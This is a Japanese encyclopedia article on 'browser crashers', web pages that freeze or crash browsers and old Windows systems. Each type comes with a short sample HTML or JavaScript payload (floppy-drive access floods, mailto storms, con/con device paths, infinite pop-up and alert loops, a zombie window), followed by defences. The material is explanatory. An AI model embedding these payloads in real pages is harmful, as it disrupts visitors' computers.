ブラウザクラッシャー
出典: フリー百科事典『ウィキペディア(Wikipedia)』
ブラウザクラッシャーとは、ウェブブラウザやオペレーティングシステム (OS) の仕様・バグを悪用するスクリプト言語または HTML 文書を記述した ウェブページのこと。
ウェブブラウザで当該ページにアクセスする事により、ウェブブラウザや OS の動作に異常を発生させる。「クラッシャー」はソフトウェアをクラッシュ(英語: crash, ソフトウェアの異常終了の意で用いられている)させる動作を意味している。コンピュータウイルス等とは違いソフトウェアの構成やハードウェアに直接の破壊的な影響を及ぼすことはまれである。
ブラクラと略称されることもある。また、派生して精神的ブラクラという言葉も一部で使われている。
目次 |
[編集] HTML 記述型
HTML を不正な形で記述することによってブラウザに不具合を起こさせる。JavaScript が作動しない環境でも作動する。
[編集] FDD アタック・CD-ROM アタック
フロッピーディスクドライブ (FDD) へのアクセスを繰り返す、CD-ROM ドライブが開閉を繰り返すなど、周辺機器にアクセスさせるマークアップを多数記述し、ブラウザの反応を遅くする。場合によっては周辺機器に物理的影響を与える。特にフロッピーディスクは機器への負担が大きい。
サンプルソース
<html> <head><title>FDDアタック</title></head> <body> <img src="file:///A:/example.001"> <img src="file:///A:/example.002"> ・ ・ ・ <img src="file:///A:/example.100"> </body> </html>
Windows 上にて、上記ソースを HTML としてブラウザが読み込むと、通常 A ドライブであるフロッピーディスクドライブがガチャガチャと動く。
防御策
- フロッピーディスクドライブのドライブ名をA以外にする
- URL の前に
"view-source:"
をつけてソースを確認し、img
タグのsrc
属性にfile://
が含まれていないか注意する。
-
- ただし、Windows XP SP2 以降の Internet Explorer や Opera など一部の環境では
view-source:
をつけてもソース確認が出来ないためオンラインのソースチェッカーを使用するなど別の方法を用いる必要がある。
- ただし、Windows XP SP2 以降の Internet Explorer や Opera など一部の環境では
- FDD アタックが PC の A ドライブにアクセスし続けると、FDD が破損することがある。だが、FDD に最初から FD を挿入しておくと、破損は回避できる。
最近のパソコンにはフロッピーディスクドライブが標準装備で無い(USB 接続の外付けドライブ)ものが出てきている。このようなパソコンには A ドライブが存在しないため、フロッピーディスクドライブアタックは効かない。なお、Windows 以外のプラットフォームは影響を受けない。
[編集] テーブルネスト
table
タグの中に table
タグを入れ、さらにその中に table
タグを入れ、これを故意に深くネスティングさせたもの。古いブラウザ、特にバージョンの古い Netscape(4.x あたりまで)ではフリーズしてしまう。意図しなくてもページレイアウトのために table
タグを多用した場合、同じことが起こりうる。
サンプルソース
<html> <head><title>テーブルネスト</title></head> <body> <table border="1"><tr><td> <table border="1"><tr><td> <table border="1"><tr><td> <table border="1"><tr><td> <table border="1"><tr><td> <table><tr><td>Sample</td></tr></table> </td></tr></table> </td></tr></table> </td></tr></table> </td></tr</table> </td></tr></table> </body> </html>
防御策
- CSS(スタイルシート)への対応が不完全な古いブラウザしか対応できないパソコン環境(Windows95, MacOS8.x あたりまで)の使用を止め、新しいブラウザが動作できるパソコン環境に移行する。
- URL の前に
"view-source:"
をつけてソースを確認し、table
タグの多重入れ子が含まれていないか注意する。
-
- ただし、Windows XP SP2 以降の Internet Explorer や Opera など一部の環境では
view-source:
をつけてもソース確認が出来ないためオンラインのソースチェッカーを使用するなど別の方法を用いる必要がある。
- ただし、Windows XP SP2 以降の Internet Explorer や Opera など一部の環境では
最近のパソコンにはほとんど通用しない。
[編集] mailto ストーム
「メイルトゥストーム」と読む。電子メールの作成画面を起動するマークアップを多数記述し、メール作成画面を多数開かせる。結果、閲覧者のコンピュータやブラウザを過度のリソース消費によりフリーズさせる。
サンプルソース
<html> <head><title>mailtoストーム</title></head> <body> <img src="mailto:001@example.org"> <img src="mailto:002@example.org"> ・ ・ ・ <img src="mailto:100@example.org"> </body> </html>
上記ソースをHTMLとしてブラウザが読み込むと、メール作成画面が 100 個表示される。
防御策
- メール作成画面の同時表示個数に上限を設定できるメーラーを使用するか、ブラウザで使用する標準メールソフトを設定しない
- URL の前に
"view-source:"
をつけてソースを確認し、img
タグのsrc
属性に"mailto:"
が含まれていないか注意する。
-
- ただし、Windows XP SP2 以降の Internet Explorer や Opera など一部の環境では
view-source:
をつけてもソース確認が出来ないためオンラインのソースチェッカーを使用するなど別の方法を用いる必要がある。
- ただし、Windows XP SP2 以降の Internet Explorer や Opera など一部の環境では
メーラー側で対策(メール作成画面に上限を設けるなど)されていることも多い。
[編集] concon クラッシャー
concon バグと呼ばれるバグを利用したもの。Windows において「予約デバイス」と呼ばれる特別な意味を持つファイル名やフォルダ名にアクセスさせ、OS を停止させる。CON, AUX, NUL などが該当。
サンプルソース
<html> <head><title>conconクラッシャー</title></head> <body> <img src="file:///c:/con/con/con.con"> <img src="file:///c:/nul/nul/nul.nul"> <img src="file:///c:/lpt1/lpt2/lpt3.aux"> </body> </html>
防御策
- Microsoft から出されているパッチ(修正ソフト)をインストールする
- Windows 9x系(Windows ME まで)の OS を使用しない
Windows NT 系列(Windows 2000 や XP など)や Windows 以外のプラットフォームは影響を受けない。
[編集] Telnet ストーム
サーバーとの通信に使われるtelnetサービスを悪用してDOS画面に似たプロンプトを開く。
サンプルソース
<html> <head><title>telnet ストーム</title></head> <body> <iframe src="telnet://example.org:80"></iframe> ・ ・ ・ </body> </html>
防御策
- 該当サービスのスタートアップの種類を停止にする
[編集] JavaScript 記述型
クライアントサイドのスクリプトであるJavaScriptを悪用したもの。HTML 記述型と複合させたものもある。JavaScriptの作動しない環境では作動しない。
[編集] フルスクリーン化
ブラウザをツールバーなしの全画面表示にしてしまう。
サンプルソース
<html> <head><title>フルスクリーン化</title></head> <body> <script type="text/javascript"> window.open("test.html", "_blank", "fullscreen=yes"); </script> </body> </html>
防御策
- ポップアップブロックを設定できるブラウザ(Windows XP SP2 の IE6、Firefox など)を使用する
- タブブラウザ(Firefox 、Microsoft Internet Explorer 7など)を使用する
- スクリプトを無効にする
- Windows系の場合、[Alt]+[F4] を押すことによりブラウザを閉じることができる。Mac の場合は [コマンドキー]+[Q] でブラウザを終了できる。
最近のブラウザは標準でポップアップブロックに対応しているため、実行されにくくなってきた。
[編集] 無限ウインドウオープン
新規ウインドウを開くスクリプトを悪用し、多数のウインドウを開かせる。
サンプルソース
<html> <head><title>無限ウインドウオープン</title></head> <body> <script type="text/javascript"> for(;;) { window.open("test.html", "_blank", "width=200,height=200"); } </script> </body> </html>
防御策
- ポップアップブロックを設定できるブラウザを使用する
- タブブラウザを使用する
- スクリプトを無効にする
最近のブラウザには標準でポップアップブロックが装備されているものが多いので、実行されにくくなってきた。
[編集] 無限アラート
ダイアログボックスを多数または無限回開かせる。
サンプルソース
<html> <head><title>無限アラート</title></head> <body> <script type="text/javascript"> for(;;) { alert("無限アラートです。"); } </script> </body> </html>
防御策
- スクリプトを作動させないようにブラウザの設定を変更する
タスクリストから容易に閉じられる。
[編集] JavaScript の無限ループ
スクリプトが永久ループすると、CPU の使用率が 100% になりパソコンの動作が非常に鈍くなる。
サンプルソース
<html> <head><title>JavaScriptの永久ループ</title></head> <body> <script type="text/javascript"> var i = 0; for(;;) { i++; } </script> </body> </html>
防御策
- スクリプトを無効にする
最近のブラウザには、ある程度ループが発生すると警告を出してくれるものがある。
[編集] ゾンビウィンドウ
何度閉じても、ゾンビのごとく復活するウィンドウのことをいう。消した数よりも開くウィンドウが多い場合もある。この場合、ウィンドウがねずみ算式に増えることになる。悪質なポップアップ広告にしばしば使われている。
サンプルソース
<html> <head> <title>ゾンビウィンドウ</title> <script type="text/javascript"> function Zombie() { window.open(location.href); } </script> </head> <body UnLoadOff="Zombie();"></body> </html>
防御策
- ポップアップブロックを設定できるブラウザを使用する
[編集] JavaScript実装のバグをついたもの
特定のブラウザーのJavaScript実装のバグをつくタイプ。本項目追加現在(2007.03.01)、以下がInternet Explorerでクラッシュするようである。
サンプルソース
<html> <head> <title>ゾンビウィンドウ</title> <script type="text/javascript"> for(x in document.write){document.write(x)} </script> </head> <body>Sorry, IE. Y can't see me!</body> </html>
防御策
- 他のブラウザーを使う
[編集] ブラクラを踏まないようにするための対策
ブラクラを踏まないようにするにためにも、次のような対策を行うべきである。
- タブブラウザを使用する。
- 怪しいサイトにアクセスするときは、Javascriptを切り、ブラクラチェッカーなどで調べる。
- リンク先をファイルにダウンロードし(右クリック―「対象をファイルに保存」でデスクトップにでも)、ソースコードを調べる。